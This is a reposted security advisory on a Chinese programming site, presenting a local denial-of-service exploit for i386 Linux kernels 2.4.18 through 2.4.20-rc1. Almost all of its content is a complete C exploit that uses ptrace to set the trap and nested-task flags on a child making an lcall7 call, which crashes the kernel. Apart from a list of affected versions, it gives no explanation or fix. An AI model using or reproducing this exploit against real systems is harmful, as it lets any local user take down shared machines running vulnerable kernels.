Your Ad Here
首页 | 编程语言 | 网站建设 | 游戏天堂 | 冲浪宝典 | 网络安全 | 操作系统 | 软件时空 | 硬件指南 | 病毒相关 | IT 认证
软讯网络 > 编程语言 > C/C++ > i386 Linux Kernel DoS(Local)
【标  题】:i386 Linux Kernel DoS(Local)
【关键字】:c,in,Linux,DoS,Local,Do,Kernel,i386,Linux,Kernel,DoS,Local
【来  源】:网络

i386 Linux Kernel DoS(Local)

Your Ad Here Vulnerable systems:
* Linux Kernel version 2.4.18 and prior
* Linux Kernel version 2.4.19
* Linux Kernel version 2.4.20-rc1

Exploit:
#include <sys/ptrace.h>

struct user_regs_struct {
long ebx, ecx, edx, esi, edi, ebp, eax;
unsigned short ds, __ds, es, __es;
unsigned short fs, __fs, gs, __gs;
long orig_eax, eip;
unsigned short cs, __cs;
long eflags, esp;
unsigned short ss, __ss;
};

int main( void )
{
int pid;
char dos[] = "x9Ax00x00x00x00x07x00";
void (* lcall7)( void ) = (void *) dos;
struct user_regs_struct d;

if( ! ( pid = fork() ) )
{
usleep( 1000 );
(* lcall7)();
}
else
{
ptrace( PTRACE_ATTACH, pid, 0, 0 );
while( 1 )
{
wait( 0 );
ptrace( PTRACE_GETREGS, pid, 0, &d );
d.eflags |= 0x4100; /* set TF and NT */
ptrace( PTRACE_SETREGS, pid, 0, &d );
ptrace( PTRACE_SYSCALL, pid, 0, 0 );
}
}

return 1;
}

Additional information
The information has been provided by Christophe Devine.

来源:securiteam


Make程式和重编核心:【上一篇】
从程序员的角度看xwindows:【下一篇】
【相关文章】
  • TCP/IP 协议
  • Linux程式设计入门 - SVGALIB
  • Linux 的编程常识
  • Linux V2.2.X(i386体系结构)进程管理分析
  • 关于内核线程(kernel_thread)
  • 提高Linux安全等级
  • cvs版本控制工具
  • Linux 文件访问原语
  • C语言图形处理
  • C语言中使用环境变量的技巧
  • 【随机文章】
  • PROGRESS数据库整理以后的数据自动确认
  • ASP应用模板采用
  • FilmAgent 电影信息管理程序
  • Linux技巧:软驱的使用
  • [转]DHTML理解
  • 构建系统的第一步
  • windows 2003 IIS的设置
  • 给QQ护驾QQ安全工具大搜捕(3)
  • 这是一个色子代码,制作精美,带源码
  • RedHat Linux AS4 系统设置命令变了
  • 【相关评论】
    没有相关评论
    【发表评论】
    姓名:
    邮件:
    随机码*
    评论*
          
    |  首 页  |  版权声明  |  联系我们   |  网站地图  |
    CopyRight © 2004-2007 bbb软讯网络 All Rigths Reserved.